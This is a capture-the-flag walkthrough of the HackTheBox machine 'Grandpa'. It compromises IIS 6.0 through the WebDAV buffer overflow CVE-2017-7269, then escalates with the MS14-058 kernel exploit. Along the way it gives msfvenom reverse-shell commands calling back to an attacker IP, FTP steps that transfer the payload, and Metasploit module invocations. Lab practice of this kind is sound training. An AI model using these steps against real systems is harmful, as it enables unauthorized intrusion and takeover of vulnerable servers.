
HTB: Grandpa
An IIS 6.0 server with WebDAV turned on falls to the ScStoragePathFromUrl buffer overflow (CVE-2017-7269) through Metasploit, then the MS14-058 kernel exploit for Windows Server 2003 takes us from network service to the Administrator's desktop.
Grandpa is an old Windows box from HackTheBox running IIS 6.0 on Windows Server 2003. The foothold is the WebDAV ScStoragePathFromUrl buffer overflow, and the privesc is a kernel exploit for Server 2003 through Metasploit. Let's walk through it.
Recon
Taking a look at our nmap scan, we have a lot to work with here. Only port 80 is open, and it's an IIS 6.0 server with WebDAV turned on, which is vulnerable to a few things.

Foothold: IIS 6.0 WebDAV buffer overflow
Looking at searchsploit, we find the WebDAV ScStoragePathFromUrl Remote Buffer Overflow (CVE-2017-7269). It fits our target, since WebDAV is enabled and PROPFIND is allowed.

Let's pull that to our Kali box and check it out.
searchsploit -m windows/remote/41738.py

This is simple, we just need to modify the shellcode and the IP it connects to. Let's build a shell with msfvenom:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.211 LPORT=4444 -e x86/alpha_mixed BufferRegister=EAX -f raw -o sc.txt

This exploit kept failing and took multiple tries to land, so we'll use the Metasploit version instead, which takes care of this automatically:
use exploit/windows/iis/iis_webdav_scstoragepathfromurl

And we get a shell! Great, let's begin to enumerate this account.

We're NT AUTHORITY\NETWORK SERVICE and we have SeImpersonatePrivilege, that's good. Let's see which exploit we can use for privesc.
Privesc: Windows Server 2003 kernel exploit
Running systeminfo, we see this is Windows Server 2003 SP2 with only one hotfix installed.

This Windows version is vulnerable to CVE-2014-4076 (MS14-070) for privesc. Searching it up on searchsploit, we find it:

Wait, checking Metasploit, it has local privesc modules for Server 2003 too, so let's get ourselves a meterpreter shell on the system first.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.211 LPORT=4445 -f exe -o shell.exe
We have to use FTP to transfer the shell, so I used Python to spin up an FTP server:
sudo python3 -m pyftpdlib -p 21 -w -d $(pwd)
And then we pull it from the target with these FTP commands:
open 10.10.14.211 21
user anonymous anonymous
binary
get shell.exe
bye
Running it then gives us the meterpreter shell!

OK, now for the privesc. Searching for it on Metasploit, we go with the MS14-058 TrackPopupMenu exploit, a win32k kernel bug (CVE-2014-4113):
use exploit/windows/local/ms14_058_track_popup_menu
We fix our options, pointing it at our meterpreter session with a new LPORT, and then run it.

We get the privesc shell! Now let's head to the C:\Documents and Settings folder, where we find the harry directory, and on its desktop we can get the user.txt flag.


And then heading to the administrator directory, we can get the root.txt flag!

Closing thoughts
This box was pretty easy. I can see this being used on very outdated systems out in the wild that haven't been touched in years. It was a pretty fun box but very simple. I'd suggest doing this box without Metasploit to learn more about manual exploitation and get some practice with it.
